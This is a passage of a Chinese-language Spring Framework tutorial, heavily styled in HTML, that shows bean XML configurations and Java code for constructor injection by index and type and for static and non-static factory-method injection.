border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.entity.People&#34;</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;0&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;4&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;1&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;赵四&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;2&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;44&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//索引方法注入</span><br/>        People people4 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people4&#34;</span>);<br/>        System.out.println(people4);<br/>    }</code></pre><p><span name="menu_index_10" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">类型索引联合使用</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people3_4&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.entity.People&#34;</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;0&#34;</span>  <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;int&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;4&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;1&#34;</span>  <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;String&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;赵四&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">index</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;2&#34;</span>  <span style="box-sizing: border-box;color: rgb(129, 162, 190);">type</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;int&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">value</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;44&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">constructor-arg</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//联合方法注入</span><br/>        People people3_4 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people3_4&#34;</span>);<br/>        System.out.println(people3_4);<br/>    }</code></pre><p><span name="menu_index_11" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">工厂方法注入</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">工厂方法同样分为非静态和静态方法注入</p><p><span name="menu_index_12" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">非静态</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">新建一个工厂类<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">PeopleFactory.java</code>，内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">PeopleFactory</span> </span>{<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> People <span style="box-sizing: border-box;color: rgb(181, 189, 104);">createPeople</span><span style="box-sizing: border-box;">()</span></span>{<br/>        <br/>        People p = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> People();<br/>        p.setId(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">5</span>);<br/>        p.setName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;小五&#34;</span>);<br/>        p.setAge(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">55</span>);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> p;<br/>    }<br/>    <br/>}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;peoplefactory&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.factory.PeopleFactory&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people5&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">factory-bean</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;peoplefactory&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">factory-method</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;createPeople&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span> </code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//工厂方法注入(非静态)</span><br/>        People people5 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people5&#34;</span>);<br/>        System.out.println(people5);    <br/>    }</code></pre><p><span name="menu_index_13" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">静态</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">新建一个工厂类<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">PeopleFactory2.java</code>，内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">PeopleFactory2</span> </span>{<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> People <span style="box-sizing: border-box;color: rgb(181, 189, 104);">createPeople</span><span style="box-sizing: border-box;">()</span></span>{<br/>        <br/>        People p = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> People();<br/>        p.setId(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">6</span>);<br/>        p.setName(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;六六&#34;</span>);<br/>        p.setAge(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">66</span>);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> p;<br/>    }<br/>}</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">beans.xml</code>配置如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xmlns:xsi</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><br/>    <span style="box-sizing: border-box;color: rgb(129, 162, 190);">xsi:schemaLocation</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a><br/>        <a href="http://www.springframework.org/schema/beans/spring-beans.xsd" target="_blank">http://www.springframework.org/schema/beans/spring-beans.xsd</a>&#34;</span>&gt;</span><br/>    <br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">id</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people6&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">class</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;com.java002.factory.PeopleFactory2&#34;</span> <span style="box-sizing: border-box;color: rgb(129, 162, 190);">factory-method</span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;createPeople&#34;</span>&gt;</span><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">bean</span>&gt;</span><br/><span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">beans</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主函数修改如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">static</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">main</span><span style="box-sizing: border-box;">(String[] args)</span> </span>{<br/>        ApplicationContext ac = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> ClassPathXmlApplicationContext(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;beans.xml&#34;</span>);<br/>        People people = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people&#34;</span>);<br/>        System.out.println(people);<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//工厂方法注入（静态）</span><br/>        People people6 = (People)ac.getBean(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;people6&#34;</span>);<br/>        System.out.println(people6);<br/>    }</code></pre><p><span name="menu_index_14" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft 